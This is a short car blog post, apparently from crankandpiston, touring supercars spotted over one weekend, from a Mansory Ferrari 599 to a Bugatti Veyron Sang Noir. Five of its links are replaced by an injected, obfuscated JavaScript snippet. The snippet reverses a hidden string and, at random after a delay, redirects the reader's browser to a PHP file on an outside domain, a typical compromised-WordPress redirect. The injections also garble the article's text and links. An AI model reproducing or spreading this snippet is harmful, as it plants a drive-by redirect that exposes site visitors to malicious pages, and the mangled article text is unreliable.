Just across the Italian piazza, we have the Ferrari brood, a prime example of which is this 599. Big brother – the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/the-civilised-lunatic-ferrari-f12berlinetta-driven/” target=”_blank”>F12berlinetta – may have stolen the limelight during the past half a year, but the 6.0-litre V12 599 can still put on a good show.
It’s when Mansory get their itchy fingers into the Maranello DNA that the eyebrows are raised. This Stallone 599 for example, though still powered by the same V12, ups the power output from 620hp to 720hp. That equates to 0-100kph in 3.7sec, 340kph, and a lot of speeding tickets.
Crossing the channel to the United Kingdom, we have a true blue (get it?!) example of English sophistication with the Aston Martin Rapide. Sleek and on everyone’s Christmas wishlist in 2010, Aston’s first four-door coupe had men across Britain donning the tuxedo and Walter PPK without much resistance. $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/aston-vs-porsche-rapide-vs-panamera-part-one-opening-slugfest/” target=”_blank”>That is unless they had to travel in the back.
Parting the waves though for the land of hope and glory is this chromed Rolls-Royce Phantom Drophead coupe (we spy the work of the guys at $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/fibrafoil-a-quick-visit-the-surgery/” target=”_blank”>FibraFoil). Chances are there won’t be many of you sitting on the fence with this, and even though there is a certain something about it, we’ll stop short of saying this brute is handsome.
The Phantom has got us thinking though: can you imagine how long it must take to polish?! A challenge for $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/select-nano-dubai-uae-all-in-the-details/” target=”_blank”>Select Nano UAE no doubt.
Perhaps one of the more prominent examples is this Bugatti Veyron Sang Noir. True, most editions tend to look all but identical (and that usually includes the eye-watering asking price). Exclusivity though and this Sang Noir go hand in hand, since this is only one of only 15 produced.
It is also, rather interestingly, not the first time that $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/bugatti-veyron-sang-noir-a-realisation/” target=”_blank”>this very model has appeared on crankandpiston. Amazing what you can get away with as hand luggage these days.
And that’s just a rogue selection from one weekend. You can only imagine what Justus will trip over with three days to choose from.
